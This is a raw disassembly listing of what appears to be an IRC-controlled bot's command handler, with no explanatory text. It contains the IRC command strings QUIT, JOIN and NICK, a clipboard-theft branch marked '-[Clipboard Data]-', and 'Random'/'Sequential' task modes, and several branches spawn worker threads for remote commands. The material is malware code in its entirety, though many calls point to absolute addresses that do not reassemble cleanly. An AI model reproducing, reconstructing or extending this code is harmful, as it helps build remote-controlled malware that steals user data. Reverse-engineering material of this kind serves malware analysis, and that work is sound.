		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_412FD0
; ---------------------------------------------------------------------------


loc_413B32:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 260048Fh
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	dword_43F700
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450D4[eax]
		nop
		call	near ptr 27E09C6h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_4450D4[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_444EC0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413BDB:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C19
		call	sub_416F23
		cmp	eax, ebx
		jle	short loc_413C0F
		push	eax
		push	offset dword_435E50


loc_413BFB:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE


loc_413C07:				; CODE XREF: sub_40EE72+3CA4j
		add	esp, 0Ch
		jmp	loc_41460A
; ---------------------------------------------------------------------------


loc_413C0F:				; CODE XREF: sub_40EE72+4D81j
		push	offset dword_435E18
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_413C19:				; CODE XREF: sub_40EE72+4D78j
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_413C35:				; CODE XREF: sub_40EE72+4E34j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E95
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5C
		push	offset dword_435DE4
		jmp	short loc_413C61
; ---------------------------------------------------------------------------


loc_413C5C:				; CODE XREF: sub_40EE72+4DE1j
		push	offset dword_435DA8


loc_413C61:				; CODE XREF: sub_40EE72+4DE8j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C91
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_413C91:				; CODE XREF: sub_40EE72+4E01j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C35
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_413CAD:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_435D80
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_413CE7:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_436714
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435D50
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_413D03:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_435D20
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_413D26:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435CEC
		jmp	loc_414F3E
; ---------------------------------------------------------------------------


loc_413D42:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx


loc_413D59:				; CODE XREF: sub_40EE72+4EEFj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D59
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx


loc_413D6E:				; CODE XREF: sub_40EE72+51BAj
		push	8
		call	sub_416FA2
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_413DBD
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_437028
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414023
; ---------------------------------------------------------------------------


loc_413DBD:				; CODE XREF: sub_40EE72+4F16j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_413E2E
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]


loc_413DF8:				; CODE XREF: sub_40EE72+4F9Ej
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E14
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DF8
		jmp	short loc_413E2E
; ---------------------------------------------------------------------------


loc_413E14:				; CODE XREF: sub_40EE72+4F94j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_413E2E:				; CODE XREF: sub_40EE72+4F79j
					; sub_40EE72+4FA0j
		cmp	[ebp+var_330], ebx
		jz	loc_414037
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED0


loc_413EAE:				; CODE XREF: sub_40EE72+505Cj
		cmp	eax, ebx
		jz	short loc_413ED0
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EAE


loc_413ED0:				; CODE XREF: sub_40EE72+503Aj
					; sub_40EE72+503Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		push	offset byte_43C80C
		push	offset aF	; "#f"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F40
; ---------------------------------------------------------------------------


loc_413F3A:				; CODE XREF: sub_40EE72+50AFj
		mov	[ebp+var_3B4], bl


loc_413F40:				; CODE XREF: sub_40EE72+50C6j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F52
		mov	eax, offset aSequential	; "Sequential"


loc_413F52:				; CODE XREF: sub_40EE72+50D9j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_435C74
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413FDC


loc_413FCA:				; CODE XREF: sub_40EE72+5168j
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF7
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_413FCA
; ---------------------------------------------------------------------------


loc_413FDC:				; CODE XREF: sub_40EE72+5156j
		nop
		call	near ptr 2650BAEh
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F18
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_413FF7:				; CODE XREF: sub_40EE72+515Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_414016
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_414016:				; CODE XREF: sub_40EE72+5188j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_414023:				; CODE XREF: sub_40EE72+4F46j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D6E
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_414037:				; CODE XREF: sub_40EE72+3108j
					; sub_40EE72+4FC2j
		push	offset unk_435C30
		jmp	loc_4145FC
; ---------------------------------------------------------------------------


loc_414041:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_435BF8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4140DA


loc_4140C7:				; CODE XREF: sub_40EE72+5266j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E0F
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_4140C7
; ---------------------------------------------------------------------------


loc_4140DA:				; CODE XREF: sub_40EE72+5253j
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset unk_435BAC
		jmp	loc_414E00
; ---------------------------------------------------------------------------


loc_4140EB:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_414101
		push	offset unk_435B80
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_414101:				; CODE XREF: sub_40EE72+5283j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414124
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_414138
; ---------------------------------------------------------------------------


loc_414124:				; CODE XREF: sub_40EE72+5298j
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2660000h
		nop


loc_414138:				; CODE XREF: sub_40EE72+52B0j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_414148
		mov	esi, offset byte_42F678


loc_414148:				; CODE XREF: sub_40EE72+52CFj
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41421B


loc_414205:				; CODE XREF: sub_40EE72+53A7j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_414205
; ---------------------------------------------------------------------------


loc_41421B:				; CODE XREF: sub_40EE72+5391j
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset unk_435B38
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_41422C:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424B
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424B
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414250
; ---------------------------------------------------------------------------


loc_41424B:				; CODE XREF: sub_40EE72+53C3j
					; sub_40EE72+53CEj
		mov	eax, dword_42F5B0


loc_414250:				; CODE XREF: sub_40EE72+53D7j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414283
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_4142AE
; ---------------------------------------------------------------------------


loc_414283:				; CODE XREF: sub_40EE72+53FEj
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		nop
		call	near ptr 260051Fh
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h


loc_4142AE:				; CODE XREF: sub_40EE72+540Fj
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142D9
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl


loc_4142D9:				; CODE XREF: sub_40EE72+5451j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414391


loc_41437B:				; CODE XREF: sub_40EE72+551Dj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E3
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_41437B
; ---------------------------------------------------------------------------


loc_414391:				; CODE XREF: sub_40EE72+5507j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_435AF0
		jmp	loc_4144D4
; ---------------------------------------------------------------------------


loc_4143A2:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C1
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C1
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C6
; ---------------------------------------------------------------------------


loc_4143C1:				; CODE XREF: sub_40EE72+5539j
					; sub_40EE72+5544j
		mov	eax, dword_42F5B4


loc_4143C6:				; CODE XREF: sub_40EE72+554Dj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DD
		lea	eax, [ebp+var_D8]


loc_4143DD:				; CODE XREF: sub_40EE72+5563j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_4143FF
		mov	esi, offset byte_43C80C


loc_4143FF:				; CODE XREF: sub_40EE72+5586j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435AA4
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset dword_41570C
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4144C8


loc_4144B6:				; CODE XREF: sub_40EE72+5654j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E3
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_4144B6
; ---------------------------------------------------------------------------


loc_4144C8:				; CODE XREF: sub_40EE72+5642j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_435A58


loc_4144D4:				; CODE XREF: sub_40EE72+3625j
					; sub_40EE72+3722j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4144E3:				; CODE XREF: sub_40EE72+3609j
					; sub_40EE72+3706j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------


loc_4144F3:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414506
		push	esi
		call	sub_41781F
		jmp	short loc_41450D
; ---------------------------------------------------------------------------


loc_414506:				; CODE XREF: sub_40EE72+568Aj
		push	8
		call	sub_416FC1


loc_41450D:				; CODE XREF: sub_40EE72+5692j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F45
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB


loc_414528:				; CODE XREF: sub_40EE72+5B65j
		add	esp, 10h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_414530:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43F590
		cmp	eax, ebx
		jz	short loc_41454D
		call	eax
		test	eax, eax
		jz	short loc_414546
		push	offset unk_435A24
		jmp	short loc_414562
; ---------------------------------------------------------------------------


loc_414546:				; CODE XREF: sub_40EE72+56CBj
		push	offset unk_4359E8
		jmp	short loc_414562
; ---------------------------------------------------------------------------


loc_41454D:				; CODE XREF: sub_40EE72+56C5j
		push	offset unk_4359AC
		jmp	short loc_414562
; ---------------------------------------------------------------------------


loc_414554:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_414578
		push	offset unk_435978


loc_414562:				; CODE XREF: sub_40EE72+4AFCj
					; sub_40EE72+56D2j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------


loc_414578:				; CODE XREF: sub_40EE72+56E9j
		push	offset unk_43593C
		jmp	short loc_414562
; ---------------------------------------------------------------------------


loc_41457F:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41459E
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_41459E:				; CODE XREF: sub_40EE72+5710j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4358FC


loc_4145BB:				; CODE XREF: sub_40EE72+5A07j
					; sub_40EE72+5A39j
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F45
; ---------------------------------------------------------------------------


loc_4145C8:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_4145DB
		push	offset dword_4358C4
		jmp	short loc_4145FC
; ---------------------------------------------------------------------------


loc_4145DB:				; CODE XREF: sub_40EE72+5760j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F7
		push	offset dword_43588C
		jmp	short loc_4145FC
; ---------------------------------------------------------------------------


loc_4145F7:				; CODE XREF: sub_40EE72+577Cj
		push	offset dword_43585C


loc_4145FC:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_41460A:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	[ebp+var_4]


loc_414617:				; CODE XREF: sub_40EE72+3961j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_414627:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E0F
; ---------------------------------------------------------------------------


loc_414634:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41464D:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------


loc_41466A:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 25F07CDh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414693
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax


loc_414693:				; CODE XREF: sub_40EE72+5816j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AC
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F45


loc_4146AC:				; CODE XREF: sub_40EE72+582Fj
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435834
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------


loc_4146EF:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_435804
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_41470D:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_414736
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4357D0
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------


loc_414736:				; CODE XREF: sub_40EE72+58A5j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414797
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414797
		mov	[ebp+var_46C], 1


loc_414797:				; CODE XREF: sub_40EE72+5908j
					; sub_40EE72+5919j
		lea	eax, [ebp+var_2DC]
		push	offset dword_435798
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5A
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415339
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414805


loc_4147EF:				; CODE XREF: sub_40EE72+5991j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E0F
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_4147EF
